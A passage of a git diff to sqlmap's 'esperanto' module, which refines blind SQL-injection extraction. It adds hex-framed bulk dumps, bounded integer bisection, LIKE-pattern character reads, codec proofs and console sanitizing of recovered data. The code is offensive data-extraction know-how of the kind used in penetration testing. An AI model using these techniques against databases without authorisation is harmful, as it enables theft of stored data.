operator-free form" % self.dialect.compare) if self.dialect.compare == "hex" and self.dialect.hexfn: return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt) if self.dialect.compare == "collation" and self.dialect.binwrap: @@ -567,7 +811,14 @@ def strategy(self): charfrom=(d.charfrom[1] if d.charfrom else None), concat=(d.concat[1] if d.concat else None), identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None), - backslash=bool(self._backslashEscape)) + backslash=bool(self._backslashEscape), + comparator=self._comparator, cmp_template=self._cmpTemplate, + # carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict + # (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is) + exact_witness=("hex" if d.hexfn is not None else + "binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else + "codepoint" if (d.compare == "code" and d.charcode is not None + and d.charcode.get("semantics") == "codepoint") else None)) def enumerateBulk(self, kind, maxchars=4096, encoding=None): """One-shot full dump: aggregate the whole column into one delimited string @@ -581,15 +832,31 @@ def enumerateBulk(self, kind, maxchars=4096, encoding=None): col, src, where = self._source(kind) # independent COUNT FIRST - so a single empty-string row isn't mistaken for # an empty catalog (the aggregate of one '' can look like no rows) - expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + try: + expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + except OverflowError: # huge count -> unknown, not a failure + expected = None if expected == 0: return BulkResult([], expected=0, complete=True) - if not self._ensureHexfn(): # delimiter safety needs hex - self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind) + if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat + self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind) return None - # 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a - # NULL aggregate over zero rows) - aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col)) + # frame each value as V; - 'V' distinguishes an empty string from a NULL + # aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet + # and the ',' separator) proves the token is WHOLE: a server-side aggregate output + # limit truncates the FINAL token, dropping its ';', so the truncated token is caught + # instead of a shorter-but-still-valid-hex value silently counting as one item. + encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # frame each value as V:; when a length fn exists: the ';' catches aggregate + # truncation (final token loses it) AND the independent catches a capped/lossy HEX + # that shortened the VALUE (decoded chars != declared) - which the terminal marker alone + # (round 5) missed because a shortened even-length hex is still valid+terminated. + lenframed = bool(self.dialect.length and self.dialect.textcast) + if lenframed: + lenstr = self.dialect.textcast[1].format(expr=self._len(col)) + aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"]) + else: + aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"]) if self.dialect.bulkAgg is None: self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where) if not self.dialect.bulkAgg: @@ -602,16 +869,30 @@ def enumerateBulk(self, kind, maxchars=4096, encoding=None): tokens = joined.split(",") if res.truncated and tokens: # last token may be partial tokens = tokens[:-1] - names, seen = [], set() + names, seen, aggtruncated = [], set(), False for t in tokens: - if not t.startswith("V"): + if not (t.startswith("V") and t.endswith(";")): # missing terminal marker + aggtruncated = True # aggregate truncated this token -> drop, flag continue - v = self._decodeHexToken(t[1:], encoding) - if v is not None and v not in seen: # dedupe (non-unique columns repeat) - seen.add(v) - names.append(v) - complete = (not res.truncated) and expected is not None and len(names) == expected - if expected is not None and len(names) != expected: + body = t[1:-1] # strip 'V' prefix and ';' terminator + declared = None + if lenframed: + lenpart, sep, hexpart = body.partition(":") + if sep != ":" or not lenpart.isdigit(): + aggtruncated = True # malformed length prefix -> truncated token + continue + declared, body = int(lenpart), hexpart + v = self._decodeHexToken(body, encoding) + if v is not None and (declared is None or len(v) == declared): # independent length witness + if v not in seen: # dedupe (non-unique columns repeat) + seen.add(v) + names.append(v) + elif v is not None: # decoded but length mismatch -> a capped hex shortened it + aggtruncated = True + complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected + if aggtruncated: + self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind) + elif expected is not None and len(names) != expected: self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected)) return BulkResult(names, expected=expected, complete=complete) diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index 4338d3778ed..5da4a189a69 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -8,6 +8,7 @@ import binascii from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings from .atlas import _HEX_Q_ENCODINGS from .atlas import _HEXDIGITS from .atlas import _HEXFN @@ -22,6 +23,8 @@ from .atlas import _unichr from .records import Cap from .records import ExtractResult +from .records import NumericOutOfRange +from .records import OracleUndecided class _Extraction(object): @@ -88,8 +91,12 @@ def _measureLength(self, expr, ceiling=None): return 0, False if ceiling < 1: # non-empty value but capped to nothing (maxlen=0) return 0, True - n = self._readNum(lexpr, 1, ceiling) - return n, n >= ceiling # at the cap -> treat as (possibly) truncated + try: + n = self._readNum(lexpr, 1, ceiling) + except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value + return ceiling, True + return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap + # is COMPLETE, not truncated - overflow is the exception above def valueLength(self, expr): length, truncated = self._measureLength(expr) @@ -142,40 +149,50 @@ def _numDefined(self, expr): return self._ask("(%s) IS NOT NULL" % expr) def _readNum(self, expr, lo, hi): - # bounded numeric read in [lo, hi]. ordered comparators bisect (exponential - # first so a small value in a big range stays cheap); the order-free path - # scans fixed windows then IN-bisects inside the hit window (IN lists bounded). - if self._comparator != "membership": - low, high = lo, min(max(lo, 8), hi) - while high < hi and self._gtNum(expr, high, hi): - low, high = high + 1, min(high * 2, hi) - while low < high: - mid = (low + high) // 2 - if self._gtNum(expr, mid, hi): - low = mid + 1 - else: - high = mid - return low - if self._inOk: - window = 128 - base = lo - while base <= hi: - win = list(range(base, min(base + window, hi + 1))) - if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): - while len(win) > 1: - half = win[:len(win) // 2] - if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): - win = half - else: - win = win[len(win) // 2:] - return win[0] - base += window - return hi - # no ordered op and no IN: plain '=' scan (bounded by hi; small values first) - for v in range(lo, hi + 1): - if self._ask("%s=%d" % (expr, v)): - return v - return hi + """Bounded numeric read in [lo, hi]. PROVES the value lies in range before + bisecting - a bounded search must never invent an in-range boundary ('>' + saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an + out-of-range value raises NumericOutOfRange for the caller to classify + (length -> truncated, integer -> overflow) instead of returning wrong data.""" + if self._comparator == "membership": + if self._inOk: + window = 128 + base = lo + while base <= hi: + win = list(range(base, min(base + window, hi + 1))) + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): + while len(win) > 1: + half = win[:len(win) // 2] + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): + win = half + else: + win = win[len(win) // 2:] + return win[0] + base += window + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan + if self._ask("%s=%d" % (expr, v)): + return v + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + # ordered comparators (gt / between / operator-free rung): prove range first + if self._comparator == "between": + if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)): + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + else: # gt or operator-free rung ('>' semantics) + if self._gtNum(expr, hi, hi): + raise NumericOutOfRange("%s > %d" % (expr, hi)) + if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo) + raise NumericOutOfRange("%s < %d" % (expr, lo)) + low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap + while high < hi and self._gtNum(expr, high, hi): + low, high = high + 1, min(high * 2, hi) + while low < high: + mid = (low + high) // 2 + if self._gtNum(expr, mid, hi): + low = mid + 1 + else: + high = mid + return low def _bisectCodes(self, code, codes): # ordered bisection over a sorted code list (restricted alphabet) @@ -255,8 +272,8 @@ def _ensureHexfn(self): with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided for name, tmpl in _HEXFN: enc = self._hexEncoding(tmpl) - if enc: - self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) break return self.dialect.hexfn @@ -266,9 +283,33 @@ def _hexEncoding(self, tmpl): # AND track the char (a DIFFERENT value for 'p'), so a constant can't match. hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q' hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p' + cf = self._codeCharTmpl() for form, enc in _HEX_Q_ENCODINGS: - if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)): - return enc + if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))): + continue + # BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying + # itself). A LONG probe is required: a short sample passes any large-enough fixed cap, + # so an 8/64/255-byte-capped hex fn would slip through. No usable length measure -> + # do NOT certify whole-value hex output. + bpc = 2 if "16" in enc else 1 + probe = "A" * 256 + if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2): + continue + # PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in + # MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match + # alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is + # UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe + # passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a + # byte-based mode that mangles multibyte). None means only 'no working hex fn'. + if cf: + eur = tmpl.format(expr=cf.format(code=0x20AC)) + want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc) + if want and self._ask("LOWER(%s)='%s'" % (eur, want)): + return enc + return "" # ASCII-compatible, codec unproven: usable, auto-detect decode + return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII- + # compatible in many charsets (CP1252/Latin-1/SJIS/...), so it + # is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text return None def _escalate(self, one, pos): @@ -425,14 +466,21 @@ def _textable(self, expr): return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1)) def _resolveText(self, expr): - # if the expression isn't directly substringable (e.g. a numeric/date column - # on a strict engine), wrap it in the discovered text cast - if self._textable(expr): - return expr - if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr): - casted = self.dialect.textcast[1].format(expr=expr) - if self._textable(casted): - return casted + # if the expression isn't directly substringable (e.g. a numeric/date column on a + # strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered + # text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does + # not exist) means "not directly textable" -> fall through to the cast, never fatal. + with self._probePhase(): + if self._textable(expr): + return expr + if self.dialect.textcast is not None: + casted = self.dialect.textcast[1].format(expr=expr) + # use the cast when it makes a NON-NULL value textable; if the value is + # currently NULL the cast is STILL correct (LENGTH may not even exist for the + # raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead + # of yielding a clean is_null, so prefer the cast in the NULL case too + if self._textable(casted) or self._ask("(%s) IS NULL" % expr): + return casted return expr def coalesce(self, expr, fallback="''"): @@ -481,37 +529,82 @@ def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=Non if limit is not None and limit < length: truncated = True # a bounded prefix of a longer value length = limit - value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1)) + if length == 0: + value = "" + else: + chars = [] + for i in range(1, length + 1): + chars.append(self._readChar(expr, i, codes)) + self._emitChar("".join(chars), length) # live progress: user sees it working + value = "".join(chars) warns = ["contains unresolved char"] if _REPL in value else [] if self.dialect.compare == "equality-ci": warns.append("lossy equality collation: case/accents ambiguous") - complete = not truncated and not warns + complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete # a length fn can stop at an embedded NUL, yielding a convincing short prefix. # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the # strongest available comparator (hex > binary wrapper > plain equality); even # plain equality catches a NUL-truncated prefix. recover via hex on mismatch. # (_verify=False on the internal hex-string pull to avoid re-entry.) - if _verify and complete and not self._exactEquals(expr, self._lit(value)): + # escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails + # whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a + # code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks + # chars outside its alphabet, yet the cast+hex path recovers them cleanly. + if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))): recovered = self._extractViaHex(expr, q0) if recovered is not None: return recovered - complete = False - warns.append("whole-value verification failed") + if complete: # verify failed and no hex recovery -> demote + complete = False + warns.append("whole-value verification failed") + # a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and + # collation/ordinal ordering are collation-dependent (accent/case/width folding), so + # without a proven hex/binary witness (or code-mode codepoint reads) the recovered + # bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT. + if _verify and value and complete and not self._byteFaithful(): + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") return ExtractResult(value, complete=complete, truncated=truncated, queries=self._queries - q0, warnings=warns) + def _byteFaithful(self): + # is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a + # binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint + # semantics reads true code points, so it is faithful on its own. + if self.dialect.hexfn is not None: + return True + if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"): + return True # only a PROVEN byte-exact wrapper (accents tested) counts + return (self.dialect.compare == "code" and self.dialect.charcode is not None + and self.dialect.charcode.get("semantics") == "codepoint") + def _extractViaHex(self, expr, q0=None): # recover a full text value through strict hex extraction, or None if not self._ensureHexfn(): return None q0 = self._queries if q0 is None else q0 - res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + # route through the text cast, exactly as the framed dump does: a column whose STORAGE + # charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) - + # hexes to bytes the DB-charset decode garbles; casting to the DB char type first + # normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec. + hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr + res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr), _ceiling=self.maxbytes * 2, _verify=False) if res.is_null: return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0) if res.value is None or not res.complete or res.truncated or res.warnings: return None - dec = self._decodeHexToken(res.value) + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an + # embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes + # are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact. + if enc is None: + try: + rawb = bytearray(_unhexlify(res.value)) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if any(b >= 0x80 for b in rawb): + return None # non-ASCII under an unproven codec -> not exact + dec = self._decodeHexToken(res.value, enc) if dec is None: return None return ExtractResult(dec, complete=True, queries=self._queries - q0, @@ -529,49 +622,60 @@ def _exactEquals(self, left, right): def extractInteger(self, expr, maximum=None): """Extract a (possibly signed) integer by range-bounded bisection - avoids - stringifying and reading digit-by-digit.""" + stringifying and reading digit-by-digit. EVERY numeric decision renders through + `_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it + never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free + rung keeps FULL signed range (not the membership magnitude ceiling).""" cap = maximum if maximum is not None else 1 << 62 - if self._comparator != "gt": - # BETWEEN / order-free IN(): read the non-negative magnitude (counts, - # lengths - the only integers enumeration needs). ceil bounds the - # order-free window scan; hitting it overflows rather than saturating. - if not self._numDefined(expr): - return None - ceil = cap if self._comparator == "between" else min(cap, 1 << 16) - n = self._readNum(expr, 0, ceil) - if n >= ceil and ceil < cap: + if not self._numDefined(expr): + return None + if self._comparator == "membership": + # no ordered comparator at all: read the non-negative magnitude (counts / + # lengths) via the bounded IN/scan window; out-of-range -> overflow. + ceil = min(cap, 1 << 16) + try: + return self._readNum(expr, 0, ceil) + except NumericOutOfRange: raise OverflowError("integer exceeds maximum %d" % ceil) - return n - if not self._ask("%s>=0" % expr): - if not self._ask("%s<0" % expr): - return None # NULL or non-numeric - if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too + # ordered comparator: bracket the value with `expr > n` probes then bisect the + # transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders + # `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as + # an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max + # value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold. + HUGE = 1 << 62 + if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude) + if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum + raise OverflowError("integer exceeds maximum %d" % cap) + lo, hi = -1, 1 + while hi < cap and self._gtNum(expr, hi, HUGE): + lo, hi = hi, min(hi * 2 + 1, cap) + else: # not in [0, HUGE] + # BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here. + # distinguish it from a genuine negative before reporting a direction (a gt/operator- + # free sign test is unbounded, so its else-branch is truly negative and skips this). + if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)): + raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE) + if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum raise OverflowError("integer below minimum -%d" % cap) - hi = -1 - lo = -2 - while self._ask("%s<%d" % (expr, lo)): - hi = lo - lo *= 2 - while lo < hi: - mid = -((-lo + -hi) // 2) # ceil toward zero - if self._ask("%s<%d" % (expr, mid)): - hi = mid - 1 - else: - lo = mid - return lo - lo, hi = 0, 1 - while hi < cap and self._ask("%s>%d" % (expr, hi)): - lo = hi + 1 - hi = min(hi * 2 + 1, cap) - if hi == cap and self._ask("%s>%d" % (expr, cap)): - raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently - while lo < hi: + hi, lo = -1, -2 + while lo > -cap and not self._gtNum(expr, lo, HUGE): + hi, lo = lo, lo * 2 + lo = max(lo, -cap - 1) + # invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi] + while hi - lo > 1: mid = (lo + hi) // 2 - if self._ask("%s>%d" % (expr, mid)): - lo = mid + 1 + if self._gtNum(expr, mid, HUGE): + lo = mid else: hi = mid - return lo + # FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on + # integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to + # '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm + # the result with a direct equality against the ACTUAL expression; if it isn't decisively + # true the read is invalid -> fail closed (never return a silently-wrong count/length/id). + if not self._ask("(%s)=%d" % (expr, hi)): + raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi)) + return hi def extractBytes(self, expr): """Extract the exact bytes of a string/blob expression via a hex function. @@ -592,9 +696,23 @@ def extractBytes(self, expr): if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr): return None try: - return _unhexlify(hexstr) + raw = _unhexlify(hexstr) except (TypeError, ValueError, binascii.Error, UnicodeError): return None + # INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte + # count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex + # that silently shortened the value is caught rather than passed off as "the exact bytes". + if self.dialect.bytelen is not None: + # FAIL CLOSED: once a byte-length witness is selected for certification, an undecided + # or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never + # treat "couldn't verify" as "matched". + try: + expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr)) + except (OracleUndecided, OverflowError): + return None + if expected is None or expected != len(raw): + return None + return raw def extractText(self, expr, encoding="utf-8", errors="replace"): """Extract bytes then decode with a caller-chosen encoding - the reliable @@ -606,22 +724,23 @@ def extractText(self, expr, encoding="utf-8", errors="replace"): return self.extract(expr) return raw.decode(encoding, errors) - def _likePat(self, prefix_singles, ch, trailing): - # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal - # char + `single`*after. only `ch` may be special, escaped if so. + def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False): + # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char + + # `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we + # read - a truncated prefix, from limit< length or length> maxlen). Without that + # multi the pattern demands an EXACT length and can't match the longer source -> every + # char would come back unresolved. only `ch` may be special, escaped if so. p = self.dialect.prefix multi, single = p.get("multi"), p.get("single") + tail = single * trailing + (multi if trailing_multi else "") body = single * prefix_singles if p.name == "GLOB" and ch in (multi, single, "["): - body += "[%s]" % ch # GLOB escapes via a char class - return body + (single * trailing), "" + return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_ special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single) if ch in special: - body += "\\" + ch # escape via ESCAPE '\' - return body + (single * trailing), " ESCAPE '\\'" - body += ch.replace("'", "''") - return body + (single * trailing), "" + return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\' + return body + ch.replace("'", "''") + tail, "" def _likeIs(self, expr, pattern, esc): return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc)) @@ -642,6 +761,10 @@ def _likeExtract(self, expr, limit=None): # largest n that still matches (keep a known-true lower bound; the exponential # must NOT advance lo past the true region) ge = lambda n: self._likeIs(expr, single * n + multi, "") + if self.maxlen < 1: # capped to nothing: non-empty but unread + return ExtractResult("", complete=False, truncated=True, + queries=self._queries - q0, + warnings=["maxlen<1: value not read"]) hi = 1 while hi < self.maxlen and ge(hi): hi = min(hi * 2, self.maxlen) @@ -650,14 +773,18 @@ def _likeExtract(self, expr, limit=None): mid = (lo + hi + 1) // 2 lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1) length = lo - truncated = length >= self.maxlen and ge(self.maxlen) + # truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen + # value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated + truncated = length >= self.maxlen and ge(self.maxlen + 1) if limit is not None and limit < length: truncated, length = True, limit out = [] for i in range(length): hit = None for c in _FREQ_ORDER: - pat, esc = self._likePat(i, c, length - i - 1) + # trailing multi-wildcard when the value continues past `length` (truncated + # prefix), so the pattern matches the longer source instead of demanding exact len + pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated) if self._likeIs(expr, pat, esc): hit = c break @@ -666,8 +793,8 @@ def _likeExtract(self, expr, limit=None): warns = ["contains unresolved char"] if _REPL in value else [] if p.get("case_insensitive"): warns.append("LIKE is case-insensitive: letter case may be ambiguous") - return ExtractResult(value, complete=not truncated and not warns, truncated=truncated, - queries=self._queries - q0, warnings=warns) + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, queries=self._queries - q0, warnings=warns) @staticmethod def _decodeHexToken(token, encoding=None): @@ -678,23 +805,24 @@ def _decodeHexToken(token, encoding=None): except (TypeError, ValueError, binascii.Error, UnicodeError): return None if encoding: - return raw.decode(encoding, "replace") - # UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a - # utf-8-first guess silently mis-decodes it; detect the interleaved-null - # signature first - if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)): - try: - return raw.decode("utf-16-le") - except UnicodeDecodeError: - pass - # UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the - # utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text - if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)): + # a PROVEN codec is authoritative: if the bytes don't decode under it, that is a + # FAILURE (return None -> token dropped, result marked incomplete), NOT licence to + # reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate, + # but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt). try: - return raw.decode("utf-16-be") - except UnicodeDecodeError: - pass - for enc in ("utf-8", "utf-16-le", "latin-1"): + return raw.decode(encoding, "strict") + except (UnicodeDecodeError, LookupError): + return None + # UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8 + # ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec + # either reading could be right, so neither is exact. Refuse (drop the token -> the caller + # falls back to per-char extraction, which round-trips each char against the source). + if b"\x00" in raw: + return None + # no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII + # result is gated separately - the dump downgrades non-ASCII under an unknown codec, and + # scalar hex recovery refuses to certify unknown-codec non-ASCII bytes). + for enc in ("utf-8", "latin-1"): try: return raw.decode(enc) except (UnicodeDecodeError, ValueError): diff --git a/extra/esperanto/handler.py b/extra/esperanto/handler.py index b968d85a593..4979e54a8bf 100644 --- a/extra/esperanto/handler.py +++ b/extra/esperanto/handler.py @@ -9,6 +9,14 @@ from .records import OracleUndecided +def _sanitize(s): + """Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored + value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console.""" + if not isinstance(s, type(u"")): + return s + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + def buildHandler(): """Build the sqlmap dbmsHandler that drives enumeration through this engine when the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are @@ -39,6 +47,7 @@ def __init__(self): Enumeration.__init__(self) Miscellaneous.__init__(self) self._esp = None + self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes) self._identCache = {} # current user/db: fetch (and announce) once self._colCache = {} # (db, table) -> ordered column names, so a dump # reuses what --columns already enumerated @@ -71,12 +80,21 @@ def _engine(self): # primitive) - stop cleanly instead of surfacing an internal traceback raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex) logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown")) - esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback - for note in esp.dialect.notes: # surface degradations LOUDLY (never silent) - logger.warning("Esperanto: %s" % note) + esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized) self._esp = esp + self._notesLogged = 0 + self._flushNotes() # discovery-time notes return self._esp + def _flushNotes(self): + # surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes + # AFTER discovery, so logging once would hide every runtime degradation (incomplete + # listing, truncation, blocked paging) - flush the NEW ones after each operation. + notes = self._esp.dialect.notes if self._esp else [] + for note in notes[self._notesLogged:]: + logger.warning("Esperanto: %s" % note) + self._notesLogged = len(notes) + def _scopeDb(self): # the database to scope table/column lookups to: -D if given, else the # current one. WITHOUT this, a same-named table in another schema (e.g. @@ -133,19 +151,30 @@ def getCurrentDb(self): return kb.data.currentDb def _safeExtract(self, expr): + # current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so + # they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL. try: - return self._esp.extract(expr) + res = self._esp.extractResult(expr) except OracleUndecided: logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr) return None + if res.value is not None and not res.exact: + logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity)) + return None + return res.value def isDba(self, user=None): - kb.data.isDba = False # no privilege claim the oracle cannot prove + # UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning + # False would assert "not a DBA" on no evidence. Report it can't tell and return + # None (unknown) so a transient can't be read as a proven privilege verdict. + logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)") + kb.data.isDba = None return kb.data.isDba def getDbs(self): logger.info("fetching database names") kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or [] + self._flushNotes() return kb.data.cachedDbs def getTables(self, bruteForce=None): @@ -165,6 +194,7 @@ def getTables(self, bruteForce=None): infoMsg += " for database '%s'" % db logger.info(infoMsg) kb.data.cachedTables = {db or "": names} + self._flushNotes() return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): @@ -179,15 +209,22 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod names = self._engine().columns(conf.tbl, schema=db) or [] self._colCache[(db, conf.tbl)] = names # let a following dump reuse these kb.data.cachedColumns = {db or "": {conf.tbl: dict((n, None) for n in names)}} + self._flushNotes() return kb.data.cachedColumns def getSchema(self): esp = self._engine() - db = self._scopeDb() + # use the EFFECTIVE db that getTables() actually resolved (it may have broadened to + # 'public' when the current schema was empty) - recomputing _db() here would miss + # that and look columns up in the wrong (empty) schema. + tabmap = self.getTables() + effdb, tables = next(iter(tabmap.items()), ("", [])) + 